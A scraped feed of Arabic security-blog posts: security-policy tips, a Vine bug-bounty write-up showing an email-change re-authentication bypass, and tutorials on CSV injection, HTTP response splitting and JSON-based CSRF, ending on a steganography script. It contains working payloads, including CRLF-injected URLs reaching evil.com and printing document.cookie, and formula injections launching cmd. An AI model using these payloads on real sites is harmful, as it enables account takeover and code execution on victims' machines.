جزئية تدريب الموظفين متغاضٍٍ عنها او لاتعطى التقدير الكاف كجزء من عملية تنفيذ AUP. لكن عملياً تعتبر واحدة من اهم المراحل المفيدة. هي لاتقوم بمساعدتك لإعلام موظفينك ومساعدتهم بفهم السياسات فقط و ولكن ايضا تسمح لك بمناقشة الأثار في العالم الحقيقي والعملي للسياسة. المستخدمون سوف يسألو غالبا اسئلة او تقديم امثلة في المنتدى التعليمي, وهذا يعتبر مكافئة. هذه الاسئلة سوف تساعدك بتعريف السياسة بشكل اكثر تفصيلا وضبطها لتصبح اكثر فائدة.

7.قم بكتابتها


تأكد من أن كل فرد من الموظفين قد قرأ ووقع وفهم السياسة. كل الموظفين الجدد يجب ان يوقعو على السياسة عندما يتم جلبهم ويجب ان يقوموا بقرائتها مجددا وتاكيد فهمهم للسياسة على الأقل سنويا. وبالنسبة للشركات الكبرى, استخدم أدوات ألية للمساعدة بالتوصيل الإلكتروني وتتبع تواقيع المستندات. أيضا بعض الأدوات تقوم بتزويد ألية إستجواب لإختبار معرفة المستخدم للسياسة.

8. ضع عقوبات واضحة وطبقها


أمن المعلومات ليس بمزحة. السياسة الأمنية لديك ليست مجموعة من المبادئ التوجيهية , بل حالة عمل. امتلاك مجموعة واضحة من الإجرائات التي توضح العقوبات في حالة إنتهاك السياسة الأمنية, ثم تطبيقها.

السياسة الامنية مع الإمتثال العشوائي سيئة بنفس سؤء عدم وجود سياسة ابدا.

9. قم بإعلام موظفينك بكل جديد


السياسة الأمنية مستند ديناميكي لأن الشبكة نفسها دائمة التطور. الناس يأتو ويذهبوا. تنشأ قواعد البيانات وتدمر. تهديدات أمنية جديدة تظهر بشكل مستمر . إبقاء تحديث السياسة الأمنية صعب جدا, لكن إباقء الموظفين مدركين لأي تغير يمكن ان يوثر على العمليات اليومية أصعب. التواصل المفتوح هو المفتاح للنجاح.

 

10. نصب الأدوات التي تحتاجها


إمتلاك سياسة هو شئ واحد, لكن تطبيقها هو شئ أخر. الأنترنت والمنتجات الأمنية لمحتوى البريد الألكتروني مع مجموعة قوانين معدلة تستطيع ضمان بأن سياستك وبغض النظر اذا كانت معقدة تضمن إلتزامها. الإستثمار في الأدوات لتطبيق سياستك الأمنية من اكثر المشتريات الفعالة من حيث التكلفة التي سوف تقوم بتنفيذها.

ترجمة لمقال:    Ten steps to successful security policy   لصاحبها Adrian Duigan.

فيديو : إستخدام أداة netcat للحصول على Meterpreter من خلال Metasploit

$
0
0

في مقال سابق تحدثنا عن كيفية إستخدام أداة netcat في أمور مُتقدمة ، ومن أحد هذه الأمور كان كيفية الحصول على سطر أوامر على جهاز مُخترق من خلال netcat ، وفي هذه المقالة بإذن الله سوف نتحدث عن كيفية تطوير سطر الأوامر الناتج من خلال netcat إلى Meterpreter session من خلال Metasploit.

بشكل رئيسي نستطيع تنفيذ هذه السيناريوهات بشكل مُباشر على الأهداف الخاصة بنا والتي نمتلك وصول فيزيائي مُباشر عليها ، كذلك الأمر مُمكن أن نقوم بتنفيذ هذه التقنية في حال كان لدينا وصول مباشر مع هدف بوسائل مُغايره كـ Remote Desktop مثلاً أو حتى بإستخدام أي وسيلة أخرى.

إستخدام Netcat فقط :

عملية ترقية سطر الأوامر العادي في Metasploit شيء بسيط جداً حيث قُمت بتوضيح هذه العملية بالفيديو ، ولكن الفكرة كلها تتمحور حول القيام بهذه العملية من خلال Netcat أولاً وأخيراً وبإستخدامها فقط ، حيث قمت بتوضيح العديد من السيناريوهات التي نستطيع التعامل معها بشكل مُباشر مع هذه التقنية.

أترككم الأن مع الفيديو وأتمنى أن ينال إعجابكم 🙂



أتمنى أن يكون الفيديو قد نال إعجابكم وتستطيعون مُراجعة دورة Metasploit المجانية المُقدمة من المُجتمع.

مقال : ثغرة تخطي اعادة تسجيل الدخول في vine

$
0
0

قبل اكثر من سنتين قامت شركة تويتر بعمل برنامج جوائز تم استضافته على منصة hackerone  وبدا الهكر من كل العالم بمحاولة اكتشاف الثغرات

انا كنت مشارك سابقا في برنامج تويتر الخاص بالابلاغ في 2013 او 2014 وبلغت لمدة عامين ثغرات لهم ومن المواقع التي بلغت ثغرات فيها كان التطبيق الشهير vine

فاين هو

تطبيق خدمة إستضافة فيديو بشكل صغير حيث يمكن لمستخدميه مشاركة حلقات لمقاطع فيديو طولها ستة ثواني. أسست الخدمة في يونيو 2012، وتحصل عليها موقع التدوين المصغر تويتر في أكتوبر 2012، قبل إطلاقه بشكلٍ رسمي. تنشر مقاطع فيديو المستخدمين خلال الشبكة الإجتماعية لفاين كما يمكن مشاركتها على خدمات أخرى مثل فيسبوك وتويتر. كما يمكن استخدام تطبيق فاين أيضًا لتصفح مقاطع الفيديو التي ينشرها مستخدمون أخرون،إلى جانب مجموعات من الفيديوهات حسب الموضوع ، والاتجاه، أو الفيديوهات الأكثر شعبي . [1]

في عام 2014 تم اضافة تطبيق فاين لبرنامج الجوائز انا كعادتي اصل متاخراً بسبب الدراسة وجدت مقال نشره احد الاصدقاء عن اكتشافه لثغرة XSS في موقع vine.co وحصل على 1400 دولار .

لذلك فتحت موقع vine وبدات البحث  . باعتبار ان المنصة مألوفة بالنسبة لي .

الاكتشاف 

بعد تذكر الخصائص والصلاحيات وعمل بعض الاختبارات لنقاط الendpoint الخاصة بVine api لم اجد شيء مثير للاهتمام .

دخلت الى لوحة تحكم المستخدم

 

9-20-2016-6-31-02-pm

 

لا يوجد العديد من الامور التي يمكن ان تكون مصابة فكلها تم اختبارها الاف المرات . لكن لا باس بالمحاولة .

حاولت ان اغير الايميل الى ايميل موجود في حساب اخر

 

9-20-2016-6-31-38-pm

 

لكن حين ضغطت Save ظهرت لي هذه الشاشة

 

9-20-2016-6-32-01-pm

 

هذه الشاشة لم تكن موجودة في المرة السابقة وفي الحقيقة انا من اقترح على فريق تويتر ان يضع اختبار امان قبل تغير الايميل حتى يتم حماية تغير الايميل من الCSRF وال XSS . لذلك هذه احد الاصلاحات التي قاموا بها بعد ان بلغت الثغرات في العام الماضي .

 

حاولت ان اعمل Brute force لكن اعادة تسجيل الدخول لا تقبل اكثر من عشر محاولات .

لكن لاحظت شيء غريب ان الايميل الذي تم ادخاله لم يظهر في طلب اعادة تسجيل الدخول

 

 

9-20-2016-7-03-40-pm

 

مررت الطلب بكلمة مرور غير صحية تم رفض طلب التغير . وحين وضعت كلمة المرور الصحيحة ظهر الطلب الاتي

 

9-20-2016-7-06-03-pm

مع الايميل الجديد ما قمت به هو ارسال هذا الطلب الى المكرر (repeater) في اداة burp suite .

 

ثم راجعت الطلب هو مثل اي طلب في الموقع (لم يتم اضافة رموز او اي نوع من الtoken) لذلك جربت ان اعيد الطلب اكثر من مرة وفي كل مرة تم تغير الايميل !!

 

جميل الان نحن قادرين على تغير الايميل بدون ادخال اسم وباسورد وهذه ثغرة مفيدة في حال تمكن المستخدم من الوصول الملموس لجهاز المستخدم او حصوله على الكوكيز .

كل ما قمت به هو القيام بطلب تغير الرابط وتحويل نهاية الطلب الى

 

api/users/1190983260029763584/

 

واضافة نوع الفورم عن طريق http header

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

واضافة متغير الemail في الbody

email=myemail@gmail.com

النتيجة كل مرة كانت الرد ب200 ok

9-20-2016-7-30-45-pm

هذا فيديو للاستغلال

وتم الطلب ايضا بدون اي مشاكل وتخطي اعادة تسجيل الدخول الان وقت الابلاغ لشركة تويتر

واستلمت الرد في نفس اليوم

9-20-2016-7-14-01-pm

تم تسجيل الثغرة وسوف يتم التحقيق بها انا ذهب لاستراح بعد كتابة التقرير المفصل

وبعد يومين استملت رد محبط للغاية

9-20-2016-7-15-07-pm

ملخص العبارة تم اغلاق التقرير ولن يتم تصليحه لان نظام الفاين في هواتف IOS لا تطلب باسورد في تغير الايميل لذلك اخذوا هذا النمط حتى في الموقع . الرد غير مقنع باي طريق لان الثغرة التي تم ابلاغها موجودة في موقع الويب وليس في تطبيق IOS لو ليدك عيب امني في تطبيق الهاتف لا يعني انه يجب ان يكون الموقع مصاب بهذا العيب ايضا .

كنت محبط لذلك كتبت لهم رسالة من عدة نقاط ساذكر بعض منها :

  • 1- انا ابلغت ثغرة في نطاق VINE.CO وليس لي اي علاقة بتطبيق الهاتف الخاص بكم .
  • هل هذا نوع جديد من الدعم حين تكون تملك مشكلة في تطبيق الهاتف يجب ان تعممها على الموقع ايضا ؟
  • الموقع به حماية وتم تخطيها ماذا يجب ان يفعل المختبر حتى يتم مكافئته ؟

ونقاط اخرى شرحت فيها موقفي طبعا مع كامل احترامي لفريق تويتر بدون اي اسائة شرحت ما كنت اتوقعه من الفريق وشرحت الثغرة اكثر وما يمكن القيام به .

وبعد يومين تم الرد علي من قبل فريق تويتر بقول “حتى لو كان تطبيق الهاتف لا يحتاج الى رمز الدخول يجب علينا ان نقوم باصلاح الميكانيكة المعطوبة في الموقع  بطريقة او باخرى” وتم تسجيل الثغرة وبعد ايام قليلة تم مكافئتي ب 420$ . والبارحة تم اصلاح الثغرة .

9-20-2016-7-22-10-pm

وهذه كانت تجربتي مع فريق تويتر

الخلاصة

حتى لو كان قبلك الف مخترق محترف ممكن بمجرد ان تفكر خارج الصندوق او تجرب اشياء “منطقية” سوف تجد الثغرة التي لم يجدها من هو افضل منك . بالاضافة الى انه يجب الانتباه الى كل طلب يتم ارساله واستقباله وتحليله منطقياً ثم تقنياً

 

ويجب ان تعمل باحتراف ولا تغضب في حال سوء فهم او عدم قبول ثغرتك فالقرار الاخير يعود للفريق وبما ان فريق تويتر محترف تعامل مع المشكلة باحترافية وشفافية كاملة

 

اذا كان لديك اي استفسار تواصل مع في تويتر هنا

 

تحياتي وتحيات فريق isecur1ty


مقال : التعرف على ثغرات CSV Injection وطرق معالجتها

$
0
0

في هذا المقال سوف نتحدث عن نوع من انواع الثغرات يسمى بـ CSV Injection وسوف نتطرق الى كيفيه تفادي هذا النوع من الثغرات . هذا النوع يعتبر من انواع ثغرات تطبيقات الويب, و الذي اكتشفته شركة Context في عام 2014. عادةً، يتم استغلال هذه الثغرة عن طريق حقن اكواد في forms، و التي تصدر بعد ذلك في هيئة ملف CSV.

بعد التصدير يتم تشغيل الملف المصاب في برامج مخصصة لذلك، أشهرها هو Microsoft Excel، و في ذلك الوقت يتم تشغيل الحقن و تفعيل الكود.
سيناريو الهجوم الخاص بهذا النوع من الثغرات يكون بهدف استغلال الثغرة ضد من يقم بتحميل الملف و تشغيله. هذا النوع من الثغرات يتم تجاله من كثير من المواقع و الشركات لاعتماد الهجوم الكامل علي موافقة الضحية علي تشغيل الcommand المحقون. و لكن يجب معرفة ان هذه الثغرة و ان لم تكن خطيرة في البداية، فهي قد تؤدي الي Command Execution  علي الكمبيوتر المصاب.

مثال :


هناك العديد من الpayloads لشرح و برهنة وجود هذا النوع من الثغرات، و لكن اشهرها هو الآتي:

cmd|’ /C calc’!A0=

الـ payload المذكور أعلاه يقوم بإعلام البرنامج المُستخدم لتشغيل الملف المصاب بأنه يريد استخدام برنامج cmd.exe (علي أنظمة الويندوز)  وذلك باستخدام الامر  C calc/  ، و الذي سيقوم بدوره بتشغيل اﻵلة الحاسبة  (calc.exe) في أنظمة الويندوز. يمكن أيضا استغلال الثغرة عن طريق إضافة @، +، أو – في بداية الpayload بدلاً من =، المثال التالي يوضح طريقة الاستغلال:

SUM(1+1)*cmd|’ /C calc’!A0@

في المثال السابق يعمل الpayload عن طريق استخدام دالة SUM، و التي تقوم بجمع القيم المعطاة لها، ثم تقوم بضرب الناتج في باقي الpayload، و الذي هو أول payload شرحناه في هذا المقال.

طبعا لن يكون هناك ناتج حسابي حقيقي في هذه الحالة، و لكن سوف يتم تشغيل الcommand المحقون .

 

حلول و طرق علاج الثغرة:


بدايةً يجب التأكد من أن كل مدخل يجب ان يكون في هيئة alpha-numeric، بمعني ان يكون المدخل إما حرف من حروف اللغة الإنجليزية أو رقم من 0 إلي 9، و ذلك عبر فلترة كل مدخل و التأكد من كل حرف.
كما هو الحال في طرق الحماية ضد معظم الثغرات، و علي الرغم من أننا فلترنا كل المدخلات، يجب عدم الثقة في أي مدخل من المستخدم و يجب encoding أي character قد لا يكون في هيئة alpha-numeric.

المشكلة في هذا النوع من الثغرات ليس في وجود @، +، -، أو = في بداية الـ payload، بل في وجود الـ | ، و الذي تعتبره معظم البرامج المستخدمة لتشغيل ملفات الCSV إشارة لتنفيذ أمر خارجي مثل cmd.exe أو powershell.exe. الحل الأمثل لهذه المشكلة يكمن في إضافة \ قبل ال |. فمثلا إذا كان الpayload الأصلي كالآتي:

cmd|’ /C calc’!A0=

يكون الpayload الناتج:

cmd\|’ /C calc’!A0=

و الذي سيمنع الpayload من التشغيل، و من ثم حماية المستخدم من هذا النوع من الثغرات.
يمكن توضيح هذه العملية من خلال كتابة كود python بسيط. يمكن رؤية الكود في الصورة التالية:

csv injection

 

في الكود الموضح أعلاه يتم تعريف function تقوم بالتحقق من أول حرف من المدخل. إذا كان الحرف واحد من @، +، -، =، أو | يتم استخدام replace لتغيير أي | في الpayload ل |\. بعد ذلك يتم وضع الناتج بين علامتي ‘، و ذلك لعرض الpayload كنص بدلا من formula.

إذا تم تشغيل الكود المذكور يصبح لدينا الناتج التالي:

selection_004

 

ترجمة لمقال : CSV Injection Revisited – Making Things More Dangerous  لصاحبها Andy G .

تعرف ايضا على هجمات  الـCommand Injection

مقال : نظره على ثغرات HTTP Response Splitting

$
0
0

 

مرحباً أعزائي، اليوم سوف نتحدث عن نوع من انواع ثغرات الclient-side ألا و هي ثغرة HTTP Header Injection.

 

ما هي HTTP Response Splitting : 

هي أحد أنواع ثغرات الclient-side التي تظهر اذا تم استخدام مدخلات تحت تحكم المستخدم كقيم لHTTP Response Headers بدون تطهير و تأكد مناسبين، الأمر الذي قد يؤدي الي أمور خطيرة مثل ثغرات الCross Site Scripting و الCache Poisoning.

 

في هذه الحالة يستطيع المهاجم استخدام قيمة الresponse header و اضافة الصيغتين CR و LF للخروج من الheader الراجع من الserver و إضافة الheaders المرادة، مما يسمح للمهاجم باستغلال الثغرة لتنفيذ هجوم Cache Poisoning اذا ما كان هناك caching server و من ثم إعادة نفس الرد من الserver لكل من يستخدم الموقع.

يمكن أيضا الخروج كلياً من قسم الheaders و إضافة أي محتوي يريده المهاجم في قسم الbody من الرد، و الذي سوف يتم عرضه من قبل المتصفح. في هذه الحالة يمكن تنفيذ هجمات الCross-Site Scripting و التي قد تؤدي إلي سرقة حسابات المستخدمين.

 

الصيغة CR هي اختصار لمصطلح Carriage Return، و التي تستخدم في الكتابة للرجوع لبداية السطر و عادةً ما توضح عن طريق كتابة r\ في لغات البرمجة. الصيغة الأخري، ألا و هي LF  هي اختصار للمصطلح Line Feed، و تستخدم للحصول علي سطر جديد، سواء في ملف أو غيره، و تستخدم عن طريق كتابة n\ في العديد من لغات البرمجة.

 

الصيغتين السابق ذكرهما لا يستخدمان عادةً بنفس الطريقة كما هو الحال في لغات البرمجة عندما نستخدمهما في البحث عن ثغرات الHeader Injection، لأن الweb applications تعتمد علي تقنية الURL Encoding في فهم و ترجمة أي مدخل ما لم يكن أحد حروف اللغة الإنجليزية أو أحد الأرقام من 0-9. لذلك، تم تعيين القيمة 0a% و 0d% للقيمتين n\ و r\ بالترتيب، علي أن تستخدم القيمة 0a% حينما نود التعبير عن الLF، و القيمة 0d% حين يتم التعبير عن الCR.

 

أحد اكثر الأماكن شيوعاً لوجود هذا النوع من الثغرات هما الSet-Cookie و الLocation Headers. في الحالة الأولي يتم استخدام مدخل من المستخدم مباشرة كقيمة لcookie، و التي سوف تستخدم لاحقاً من قِبَل الweb application لتحديد حالة المستخدم. في الحالة الثانية يتم استخدام المدخل كقيمة الLocation Header، و الذي تستخدمه المتصفحات لمعرفة الهدف المرات التحويل إليه من قبل الweb application، سوف نشرح كل من هذين السيناريوهين لاحقا في هذا المقال.

 

مثال 1:

فلنفترض ان هناك موقع يمكن استخدامه بلغتين، الإنجليزية و العربية مثلا. لنفترض أيضا ان هناك link في كل صفحة في الموقع و وظيفتها هي تغيير اللغة من العربية للإنجليزية و العكس، و شكل هذه الlink كاﻵتي في حالة التحويل للغة الإنجليزية:

 

http://example.com?lang=en

 

اذا ما تم الضغط علي هذه ال link، يتم إرسال طلب GET ل http://example.com?lang=en. يستقبل الserver الطلب، ثم يتم تحويل المستخدم لنفس الصفحة و لكن في الresponse يتم تحديد http header جديد، اسمه Set-Cookie و قيمته هي lang=en.

 

في هذه الحالة يقوم الserver باستخدام القيمة المخصصة للمدخل lang مباشرة في الheader المسمي Set-Cookie بدون أي تأكد من عدم احتواؤه علي الصيغتين CR و LF مما يؤدي لظهور ثغرة HTTP Header Injection. في هذه الحالة يستطيع المهاجم استخدام الثغرة لتثبيت headers جديدة بأي قيم مرادة كالآتي:

 

http://example.com?lang=en%0d%0aSet-Cookie:hacked=1

 

في المثال السابق، يقوم المهاجم بالخروج من قيمة الSet-Cookie header الأولي (الأصلية) عبر استخدام الصيغتين 0d% و 0a% متتابعتين، ثم إضافة header جديد إسمه Set-Cookie و قيمته hacked=1 كتوضيح للثغرة، التالي هو منظر تخيلي للجزء المعني من رد الserver بعد الطلب السابق:

HTTP/1.1 200 OK

Content-Type: text/html

Set-Cookie: lang=en

Set-Cookie: hacked=1

 

يمكن للمهاجم أيضا تغيير محتوي الصفحة كما ذكرنا سابقا عن طريق إضافة أكواد HTML لقسم الbody من رد الserver، الأمر الذي يمكن إستغلاله بسهولة للحصول علي و استغلال ثغرة Cross-Site Scripting إذا ما كان وجود القيم < و > في المدخلات مسموحاً من قِبَل الserver. التالي هو طلب GET تخيلي للاستغلال المذكور:

 

http://example.com/?lang=en%0d%aContent-Length:53%0d%0a%0d%a%3Chtml%3E%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E%3C%2fhtml%3E

في المثال السابق يتم إستخدام الصيغتين 0d% و 0a% متبوعتان بالheader المسمى Content-Length و قيمته 53، مما يخبر المتصفح ان عدد البايتات (الحروف) المراد إظهارها كbody للرد هو 53. يتم بعد ذلك استخدام نفس الصيغتين و لكن مرتين متتابعتين، و ذلك لإعلام المتصفح اننا نريد الوصول لقسم الbody من إجابة الserver، ثم بعد ذلك يتم حقن القيمة المراد إظهارها من المتصفح.

القيمة  %3Chtml%3E%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E%3C%2fhtml%3E ما هي الا <html><script>alert(document.cookie)</script></html>  و لكن بعمد عملية  URL encoding. المثال يقوم بحقن كود javascript و الذي يستخدم دالة ال alert لإظهار قيمة الcookie الخاصة بالمستخدم كمثال. التالي هو المنظر التخيلي للرد القادم من الserver:

HTTP/1.1 200 OK

Content-Type: text/html

Set-Cookie: lang=en

Content-Length: 53

<html><script>alert(document.cookie)></script></html>

 

مثال 2:

 

في هذا المثال سنفترض اننا اكتشفنا ثغرة open redirects (تحويل مفتوح) في أحد المواقع و نود أن نستغلها بصورة أكبر لإحداث ثغرة Cross-Site Scripting. في هذه الحالة سنفترض أن الURL المصاب هو الآتي:

 

http://example.com?redirect=http://evil.com

 

على أن يكون المدخل المسمي redirect هو المستخدم من قِبَل الserver للتحويل للURL المعطي له، في هذا المثال http://evil.com، و لنتفرض أيضا أن الآتي هو الرد العائد من الserver في حين تنفيذ طلب GET للURL السابق ذكره:

HTTP/1.1 302 Found

Location: http://evil.com

 

إكتشفنا بعد ذلك وجود ثغرة Header Injection و إكتشفنا ان الserver يقوم بتمرير قيمة المدخل redirect مباشرةً للLocation header، تماما كما هو الحال في المثال الأول، و نريد اﻵن استغلال الثغرة للحصول علي ثغرة Cross-Site Scripting. هناك أمر مختلف في هذه الحالة و الذي يجب ملاحظته حتي يكون الهجوم ناجح في النهاية، ألا و هو الresponse code العائد من الserver. في المثال الأول الresponse code كان 200 OK، في هذه الحالة لم يكن هناك مشكلة في استغلال الثغرة، و لكن في حالة المثال الثاني الresponse code هي 302 Found. المتصفحات تستخدم هذا الresponse code للتحويل تلقائياً للقيمة المخصصة للLocation header، إذاً فما العمل في هذه الحالة ؟

 

لحسن الحظ، فمعظم المتصفحات تستخدم آخر قيمة موجودة في الرد للresponse code إذا ما كانت قيمة الContent-Length header للresponse code الأصلي صفر،  بمعني أننا في هذه الحالة يمكننا أيضاً إضافة الresponse code المناسب و سوف يستخدمها المتصفح تلقائياً و سيتجاهل القيمة الأصلية و في هذه الحالة تعرف الثغرة باسم HTTP Response Splitting. التالي هو قيمة تخيلية لما سيحقنه المهاجم:

 

http://example.com/?redirect=http://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2053%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E%3C%2fhtml%3E

 

في المثال السابق يتم الآتي:

 

  • إستخدام الصيغتين المعروفتين للخروج من الLocation header
  • إضافة Content-Length header قيمته 0 لإبطال مفعول الرد الأصلي من الserver
  • إضافة HTTP/1.1 200 OK كبداية للرد الجديد
  • إضافة Content-Type header قيمته text/html ليعلم المتصفح ان قسم الbody من الرد سيحتوي علي كود HTML
  • إضافة Content-Length header آخر، و لكن هذه المرة قيمته 53، و هو طول كود الHTML المحقون
  • و أخيرا كود الHTML المحقون نفسه، و هي نفس القيمة المستخدمة في المثال الأول

 

التالي هو منظر تخيلي للرد الناتج من الطلب السابق :

HTTP/1.1 302 Found

Location: http://evil.com

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 53

<html><script>alert(document.cookie)</script></html>

 

أتمني أن تكونوا قد استفدتم من الموضوع، و أعتذر لطول المقال و إذا كان هناك أمراً غير واضح.

الباب مفتوح للاستفسارات طبعا

اقرا ايضا : إستغلال HTTP header في ثغرات XSS

مقال : شرح ثغرات JSON Based CSRF بأمثلة عمليه

$
0
0

مرحباً قرائي الأعزاء، اليوم سوف نتحدث عن أحد الثغرات التي كثيراً ما نقابلها كمختبرين إختراق لتطبيقات الويب، ألا و هي الJSON Based CSRF. كثيرا ما تعتمد  الـ web applications علي تقنية JSON (اختصاراً لمصطلح “JavaScript Object Notation”) لإرسال و استقبال الطلبات من و إلي السيرفر ، و قد تكون هذه الweb applications معرضة لثغرة مثل CSRF. في هذه الحالة، استغلال الثغرة يكون أكثر تعقيدا من استغلالها في الحالات العادية.
لنفترض مثلا أننا كنا نقوم باختبار اختراق موقع معين، و اكتشفنا الطلب التالي:

POST /edit/1/username HTTP/1.1

Host: example.com

Content-Type: application/json

Content-Length: 19

{“username”:”test”}

و كل ما يقوم به الطلب هو إرسال الusername الجديد و قيمته test إلي الserver. قد يكون جلياً لك انه لا يوجد أي نوع من انواع الtokens في الطلب، مما يسمح لنا بالقيام بهجمات CSRF و تغيير الusername للضحية بدون علمه إذا ما تم زيارة صفحة تحت تحكمنا. الخطوة التالية هي تحضير ملف HTML للقيام بالهجوم، و لكن كيف سنقوم بذلك  في الحالات العادية.

يتم إرسال الparameters و قيمها في صورة parameter=value، و المقابل لذلك في كود الHTML هو التالي:

<input type=”hidden” name=”username”’ value=”test” />

و لكن في هذه الحالة ما يرسل هو في صورة {“parameter”:”value”}، فماذا يمكننا فعله  ؟

 

المحاولة الأولى:


يمكننا محاولة التلاعب بكود الHTML لإرسال طلب مشابه للطلب السابق، و لكن مع بعض الاختلافات كالآتي:

k4n0j2d8

 

الكود السابق يستخدم form لعمل الrequest، و يجب ملاحظة أن قيمة الenctype للform الموجودة هي text/plain، و ذلك لمنع المتصفح من القيام بعملية URL encoding للمدخلات قبل إرسال الطلب.

في الform يوجد input ليس له قيمة، و لكن قيمة الname فيه هي {“username”:”test”}، الآن لنرسل الطلب في المتصفح و نري ما يحدث (يمكن رؤية الطلب المرسل عن طريق استخدام أي proxy tool مثل Burp Suite):

POST /edit/1/username  HTTP/1.1

Host: example.com

Content-Type: text/plain

Content-Length: 24

={“username”:”hacked”}

ما الذي تم تحديداً ؟ و لماذا هناك علامة = بعد الpayload المرسل ؟

كما حددنا للform في كود الHTML، تم إرسال الطلب و تحديد الContent-Type كـtext/plain، و كما نري يتم إرسال الpayload بدون عمل URL encoding. و لكن تم إرسال علامة =، و ذلك لأننا حددنا الpayload المرسل كقيمة للname في الinput، و ما يفعله المتصفح هو انه يأخذ قيمة الname ويتبعها بعلامة = ثم يتبعهما بقيمة الvalue، و التي هي فارغة في هذه الحالة.
الآن، يمكن أن نقول أن الهجوم قد نجح حينما يتوفر الشرطين التاليين:

  • الweb application لا يقوم بالتأكد من أن قيمة الContent-Type header هي application/json
  • الJSON parser يتجاهل القيم الزائدة في محتوي الطلب، مثل علامة ال= في هذه الحالة

 

المحاولة الثانية:

لحسن الحظ، هناك حل أكثر عملية من الحل السابق، دعونا ننظر لكود الHTML المعدل أدناه:

 

upotc2ah

في الكود المعدل قمنا بتغيير قيمة الname و الvalue بطريقة تسمح لنا بإرسال قيمة JSON سليمة، و في نفس الوقت تسمح لنا باستغلال الثغرة بطريقة سليمة و ناجحة. التالي هو الطلب المرسل للserver في هذه الحالة:

POST /edit/1/username  HTTP/1.1

Host: example.com

Connection: close

Content-Type: text/plain

Content-Length: 39

{“username”:”hacked”,”ignorable”:”=”}

ماذا تم في هذه الحالة ؟

كما ذكرنا سابقا، المتصفح يرسل قيمة الname ثم = ثم قيمة الvalue، ففي هذه الحالة كل ما فعلناه هو أننا أضفنا قيمة زائدة إسمها ignorable عبر إضافة علامة “,” في الJSON المرسل، و قيمتها في هذه الحالة هي =. هذه الطريقة لا تعمل في كل الحالات، حيث أنه يجب أن تكون إضافة parameters جديدة للطلب المرسل للserver مسموحة من قِبَل الweb application، و أن تكون قيَم هذه الparameters متجاهلة من ناحية الbackend code.

لعلك الآن تفكر في القيام بنفس الهجوم و لكن عن طريق إستخدام XMLHttpRequest، لنتطرق لهذا الأمر و نري ما سيحدث. سنقوم بتعديل كود الHTML ليحتوي علي الكود الآتي:

xss

 

في هذه الحالة تمت كتابة كود Javascript يقوم بالتالي:

  • خلق object جديد نوعه XMLHttpRequest و إسمه xhr، هذا الobject هو ببساطة ما يقوم بإرسال الطلب للserver لاحقاً
  • تعديل xhr عن طريق تغيير قيمة attribute يدعي withCredentials لtrue، و في هذه الحالة سيتم إرسال الcookies الخاصة بالموقع المصاب مع الطلب المرسل
  • إستخدام دالة open لإرسال طلب POST للURL المذكور
  • إضافة request header للطلب إسمه Content-Type و قيمته application/json حتي يتم تقليد الطلب الأصلي بدقة
  • و أخيرا، إستخدام دالة send لإرسال الطلب فعلياً عن طريق تحويل الpayload لJSON object عبر إستخدام دالة JSON.stringify ثم تمرير الpayload الناتج لدالة send السابق ذكرها

 

أخيرا، يتم إرسال الطلب اوتوماتيكياً حين فتح الصفحة في أي متصفح، اﻵن سنفتح الصفحة و نستخدم Burp Suite أو أي أداة proxy حتي نتمكن من رؤية الطلب المرسل:

kchdaio2

 

لماذا تم إرسال طلب OPTIONS بدلاً من طلب POST ؟

حينما يتم إرسال طلب بأي request method في المتصفحات الجديدة باستخدام XMLHttpRequest، يتم التأكد أولاً من قيمة الContent-Type header، إذا لم تكن تساوي text/plain يتم إرسال طلب OPTIONS قبل الطلب الأصلي، يعرف هذا النوع من الطلبات بpre-flight requests، و يتم عادةً كمرحلة من مراحل التأكد من جدارة الموقع (في هذا السياق يسمي Origin) بإرسال هذا الطلب.
إذا احتوي رد الserver علي الpre-flight request علي الAccess-Control-Allow-Origin header و كانت قيمته هي * (بمعني أي Origin) أو كانت قيمته هي الdomain المرسل للpreflight-request (في حالتنا هو null و ذلك لأننا أرسلناه من الكمبيوتر الشخصي لدينا وليس من server)، يتم إرسال الطلب الأصلي فقط في هذه الحالة. يتم تجاهل الطلب الأصلي إن لم تكن هذه هي الحال.
فماذا إذاً يمكننا أن نفعل إذا لم يكن الرد هو الرد المطلوب ؟
كما فعلنا في المثال السابق، في هذه الحالة يجب إرسال الطلب بعد تغيير الContent-Type header إلي text/plain ثم إرسال الطلب مجدداً، الصورة التالية هي للطلب بعدما غيرنا الheader المذكور مسبقاً:

 

u2vtkj2h

 

كما نرى ، تم إرسال طلب POST كما أردنا و بدون إرسال pre-flight request كما حدث في المثال السابق، مع العلم بأن نجاح الهجوم في هذه الحالة يعتمد كل الاعتماد علي الشرطين المذكورين سابقاً في المثال السابق.
أرجو أن تكونوا قد استفدتم من هذه المقالة، لا تترددوا في ترك أسئلتكم و إستفساراتكم إذا ما كان هناك جزئية غير واضحه .

مقال : برمجه سكربت بلغه البايثون لأخفاء النصوص في الصور والفيديوهات

$
0
0

سنتحدث اليوم عن أستخدام لغه البايثون في علم Steganography وهو علم يختص بأخفاء ملف,رساله,صوره,فيديو بملف أخر  ,  والفرق بينه وبين التشفير هو أننا نلجأ لاخفاء المعلومات داخل شئ أخر عوضا عن تشفيرها.

وفي مقاله اليوم سنتحدث عن أخفاء نص في صوره بتكنيك بسيط أكتشفته بينما كنت أتعلم الـimage processing

وقبل أن نبدأ في شرح برمجه السكربت هناك متطلبات لابد من وجودها :

 

  • بايثون أصدار 2.7
  • مكتبه Opencv وتستطيع تحميلها من هنا وأختيار النظام الذي تستخدمه
  • مكتبه Numpy وتستطيع تحميلها من هنا
  • صوره 😀

والأن نتأكد من نزول المكتبات لديك بشكل سليم عن طريق الأمر :

import numpy ,cv2

والأن في مكتبه opencv أذا أردت قراءه صوره لتفعل بها ماتريده بعدها تقوم بتطبيق الأمر الأتي

img = cv2.imread(image)

حيث المتغير image يكون هو أسم الصوره ولو أردت عرضها أمامك تقوم بالتالي

img = cv2.imread(image)
cv2.imshow('image show',img)
if cv2.waitKey(0)==ord("q"):
   cv2.destroyAllWindows()

